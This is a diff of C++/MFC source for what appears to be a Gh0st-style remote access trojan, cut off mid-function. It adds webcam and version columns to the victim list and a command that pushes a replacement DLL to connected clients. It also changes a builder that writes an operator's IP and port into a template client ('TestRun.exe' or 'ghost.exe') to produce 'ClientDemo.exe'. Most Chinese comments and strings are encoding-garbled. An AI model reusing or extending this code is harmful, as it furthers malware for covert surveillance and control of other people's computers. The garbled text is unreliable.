// Ϊ<>ˣ<EFBFBD><CBA3><EFBFBD>20241228<32>ύ<EFBFBD><E1BDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>ṹ<EFBFBD><E1B9B9>Ԥ<EFBFBD><D4A4><EFBFBD>ֶΣ<D6B6><CEA3>Ա<EFBFBD>δ<EFBFBD><CEB4>֮<EFBFBD><D6AE>ʱ֮<CAB1><D6AE>
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ˽ṹ<CBBD>壬<EFBFBD><E5A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ټ<EFBFBD><D9BC><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>ij<EFBFBD><C4B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
typedef struct LOGIN_INFOR
|
||||||
|
{
|
||||||
|
unsigned char bToken; // 1.<2E><>½<EFBFBD><C2BD>Ϣ
|
||||||
|
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
|
unsigned long dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||||
|
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
||||||
|
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
|
unsigned long dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||||
|
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
char szReserved[512]; // 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
|
||||||
|
|
||||||
|
LOGIN_INFOR(){
|
||||||
|
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||||
|
strcpy_s(moduleVersion, DLL_VERSION);
|
||||||
|
}
|
||||||
|
}LOGIN_INFOR;
|
||||||
|
|||||||
Binary file not shown.
@@ -39,7 +39,10 @@ enum
|
|||||||
ONLINELIST_OS, //<2F><><EFBFBD><EFBFBD>ϵͳ
|
ONLINELIST_OS, //<2F><><EFBFBD><EFBFBD>ϵͳ
|
||||||
ONLINELIST_CPU, //CPU
|
ONLINELIST_CPU, //CPU
|
||||||
ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
ONLINELIST_VIDEO, //<2F><><EFBFBD><EFBFBD>ͷ(<28><><EFBFBD><EFBFBD>)
|
||||||
ONLINELIST_PING //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
ONLINELIST_PING, //PING(<28>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
||||||
|
ONLINELIST_VERSION, // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
|
ONLINELIST_LOGINTIME, // <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
ONLINELIST_MAX,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
@@ -49,7 +52,7 @@ typedef struct
|
|||||||
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
|
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
|
||||||
}COLUMNSTRUCT;
|
}COLUMNSTRUCT;
|
||||||
|
|
||||||
const int g_Column_Count_Online = 7; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
const int g_Column_Count_Online = ONLINELIST_MAX; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
|
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
|
||||||
{
|
{
|
||||||
@@ -60,6 +63,8 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
|
|||||||
{"CPU", 80 },
|
{"CPU", 80 },
|
||||||
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
|
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
|
||||||
{"PING", 100 },
|
{"PING", 100 },
|
||||||
|
{"<EFBFBD>汾", 80 },
|
||||||
|
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>", 180 },
|
||||||
};
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
@@ -120,7 +125,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
|||||||
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
||||||
|
|
||||||
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
||||||
m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE);
|
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
|
||||||
|
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
|
||||||
|
|
||||||
InitializeCriticalSection(&m_cs);
|
InitializeCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
@@ -148,6 +154,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
|
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
|
||||||
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
||||||
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
||||||
|
ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
|
||||||
ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
|
ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
|
||||||
|
|
||||||
ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
|
ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
|
||||||
@@ -322,7 +329,7 @@ VOID CMy2015RemoteDlg::TestOnline()
|
|||||||
|
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
||||||
CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject)
|
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject)
|
||||||
{
|
{
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -334,6 +341,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU);
|
m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU);
|
||||||
m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo);
|
m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo);
|
||||||
m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing);
|
m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing);
|
||||||
|
m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver);
|
||||||
|
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st);
|
||||||
|
|
||||||
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
|
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
|
||||||
|
|
||||||
@@ -624,7 +633,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
}
|
}
|
||||||
|
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
|
||||||
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
|
||||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
||||||
|
|
||||||
*pResult = 0;
|
*pResult = 0;
|
||||||
@@ -637,6 +647,56 @@ void CMy2015RemoteDlg::OnOnlineMessage()
|
|||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
|
||||||
|
fileSize = 0;
|
||||||
|
try {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ֻ<EFBFBD><D6BB>ģʽ<C4A3><CABD>
|
||||||
|
CFile file(filePath, CFile::modeRead | CFile::typeBinary);
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||||
|
fileSize = file.GetLength();
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>: ͷ+<2B>ļ<EFBFBD><C4BC><EFBFBD>С+<2B>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast<size_t>(fileSize) + 1];
|
||||||
|
if (!buffer) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
memcpy(buffer+1, &fileSize, sizeof(ULONGLONG));
|
||||||
|
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast<UINT>(fileSize));
|
||||||
|
buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
catch (CFileException* e) {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>쳣
|
||||||
|
TCHAR errorMessage[256];
|
||||||
|
e->GetErrorMessage(errorMessage, 256);
|
||||||
|
e->Delete();
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnOnlineUpdate()
|
||||||
|
{
|
||||||
|
char path[_MAX_PATH], * p = path;
|
||||||
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
while (*p) ++p;
|
||||||
|
while ('\\' != *p) --p;
|
||||||
|
strcpy(p + 1, "ServerDll.dll");
|
||||||
|
ULONGLONG fileSize = 0;
|
||||||
|
char *buffer = ReadFileToMemory(path, fileSize);
|
||||||
|
if (buffer) {
|
||||||
|
buffer[0] = COMMAND_UPDATE;
|
||||||
|
SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1);
|
||||||
|
delete[] buffer;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
AfxMessageBox("<EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>: "+ CString(path));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineDelete()
|
void CMy2015RemoteDlg::OnOnlineDelete()
|
||||||
{
|
{
|
||||||
@@ -975,20 +1035,23 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
CString strToolTipsText;
|
CString strToolTipsText;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
// <20><><EFBFBD>Ϸ<EFBFBD><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>
|
|
||||||
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
|
|
||||||
{
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
|
|
||||||
ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
|
|
||||||
|
|
||||||
sockaddr_in ClientAddr;
|
sockaddr_in ClientAddr;
|
||||||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||||||
int iClientAddrLen = sizeof(sockaddr_in);
|
int iClientAddrLen = sizeof(sockaddr_in);
|
||||||
SOCKET nSocket = ContextObject->sClientSocket;
|
SOCKET nSocket = ContextObject->sClientSocket;
|
||||||
BOOL bOk = getpeername(nSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLen); //IP C <---IP
|
BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen);
|
||||||
|
// <20><><EFBFBD>Ϸ<EFBFBD><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD>
|
||||||
|
if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
|
||||||
|
{
|
||||||
|
char buf[100];
|
||||||
|
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
|
||||||
|
OutputDebugStringA(buf);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
|
||||||
|
ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
|
||||||
|
|
||||||
strIP = inet_ntoa(ClientAddr.sin_addr);
|
strIP = inet_ntoa(ClientAddr.sin_addr);
|
||||||
|
|
||||||
@@ -1008,7 +1071,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
|
|
||||||
strAddr.Format("%d", nSocket);
|
strAddr.Format("%d", nSocket);
|
||||||
|
|
||||||
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,ContextObject);
|
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,ContextObject);
|
||||||
delete LoginInfor;
|
delete LoginInfor;
|
||||||
return S_OK;
|
return S_OK;
|
||||||
}catch(...){
|
}catch(...){
|
||||||
|
|||||||
@@ -21,17 +21,6 @@
|
|||||||
#define CLIENT_EXIT_WITH_SERVER 1
|
#define CLIENT_EXIT_WITH_SERVER 1
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
typedef struct _LOGIN_INFOR
|
|
||||||
{
|
|
||||||
BYTE bToken; // ȡ1<C8A1><31><EFBFBD><EFBFBD>½<EFBFBD><C2BD>Ϣ
|
|
||||||
char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// <20>汾<EFBFBD><E6B1BE>Ϣ
|
|
||||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
|
||||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
|
||||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
|
||||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
|
||||||
}LOGIN_INFOR,*PLOGIN_INFOR;
|
|
||||||
|
|
||||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
class CMy2015RemoteDlg : public CDialogEx
|
class CMy2015RemoteDlg : public CDialogEx
|
||||||
{
|
{
|
||||||
@@ -58,7 +47,7 @@ public:
|
|||||||
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
|
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
|
||||||
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
|
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
|
||||||
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
||||||
CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject);
|
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject);
|
||||||
VOID ShowMessage(BOOL bOk, CString strMsg);
|
VOID ShowMessage(BOOL bOk, CString strMsg);
|
||||||
VOID CreatStatusBar();
|
VOID CreatStatusBar();
|
||||||
VOID CreateToolBar();
|
VOID CreateToolBar();
|
||||||
@@ -83,13 +72,14 @@ public:
|
|||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
BOOL isClosed;
|
BOOL isClosed;
|
||||||
|
|
||||||
CBitmap m_bmOnline[2];
|
CBitmap m_bmOnline[3];
|
||||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||||
afx_msg void OnClose();
|
afx_msg void OnClose();
|
||||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
afx_msg void OnOnlineMessage();
|
afx_msg void OnOnlineMessage();
|
||||||
afx_msg void OnOnlineDelete();
|
afx_msg void OnOnlineDelete();
|
||||||
|
afx_msg void OnOnlineUpdate();
|
||||||
afx_msg void OnAbout();
|
afx_msg void OnAbout();
|
||||||
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
|
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
|
||||||
afx_msg void OnNotifyShow();
|
afx_msg void OnNotifyShow();
|
||||||
|
|||||||
@@ -202,8 +202,10 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Image Include="res\Bitmap_4.bmp" />
|
<Image Include="res\Bitmap_4.bmp" />
|
||||||
<Image Include="res\Bitmap_5.bmp" />
|
<Image Include="res\Bitmap_5.bmp" />
|
||||||
|
<Image Include="res\delete.bmp" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\toolbar1.bmp" />
|
||||||
<Image Include="res\toolbar2.bmp" />
|
<Image Include="res\toolbar2.bmp" />
|
||||||
|
<Image Include="res\update.bmp" />
|
||||||
<Image Include="res\webcam.ico" />
|
<Image Include="res\webcam.ico" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
|||||||
@@ -13,8 +13,6 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
|||||||
|
|
||||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||||
|
|
||||||
CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0};
|
|
||||||
|
|
||||||
CBuildDlg::CBuildDlg(CWnd* pParent)
|
CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||||
: CDialog(CBuildDlg::IDD, pParent)
|
: CDialog(CBuildDlg::IDD, pParent)
|
||||||
, m_strIP(_T(""))
|
, m_strIP(_T(""))
|
||||||
@@ -32,6 +30,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
|||||||
CDialog::DoDataExchange(pDX);
|
CDialog::DoDataExchange(pDX);
|
||||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||||
|
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -54,7 +53,16 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
BYTE * szBuffer=NULL;
|
BYTE * szBuffer=NULL;
|
||||||
DWORD dwFileSize;
|
DWORD dwFileSize;
|
||||||
UpdateData(TRUE);
|
UpdateData(TRUE);
|
||||||
|
int index = m_ComboExe.GetCurSel();
|
||||||
|
CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : "");
|
||||||
|
if (file.IsEmpty())
|
||||||
|
{
|
||||||
|
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>!");
|
||||||
|
return CDialog::OnOK();
|
||||||
|
}
|
||||||
|
unsigned long flag = index == 0 ? FLAG_FINDEN : (index == 1 ? FLAG_GHOST : FLAG_FINDEN);
|
||||||
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||||
|
CONNECT_ADDRESS g_ConnectAddress = { flag,"",0 };
|
||||||
strcpy(g_ConnectAddress.szServerIP,m_strIP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
strcpy(g_ConnectAddress.szServerIP,m_strIP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
||||||
|
|
||||||
g_ConnectAddress.iPort=atoi(m_strPort); //<2F>˿<EFBFBD>
|
g_ConnectAddress.iPort=atoi(m_strPort); //<2F>˿<EFBFBD>
|
||||||
@@ -67,12 +75,12 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
while (*p) ++p;
|
while (*p) ++p;
|
||||||
while ('\\' != *p) --p;
|
while ('\\' != *p) --p;
|
||||||
strcpy(p+1, "TestRun.exe");
|
strcpy(p+1, file.GetString());
|
||||||
|
|
||||||
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
if (_access(path, 0) == -1)
|
if (_access(path, 0) == -1)
|
||||||
{
|
{
|
||||||
MessageBox(CString(path)+"\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"TestRun.exe\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||||
return CDialog::OnOK();
|
return CDialog::OnOK();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -88,11 +96,21 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
File.Close();
|
File.Close();
|
||||||
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
|
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
|
||||||
|
if (iOffset==-1)
|
||||||
|
{
|
||||||
|
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
|
||||||
|
return;
|
||||||
|
}
|
||||||
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
||||||
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
||||||
strcpy(p+1, "ClientDemo.exe");
|
strcpy(p+1, "ClientDemo.exe");
|
||||||
strSeverFile = path;
|
strSeverFile = path;
|
||||||
File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
DeleteFileA(path);
|
||||||
|
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||||
|
if (!r) {
|
||||||
|
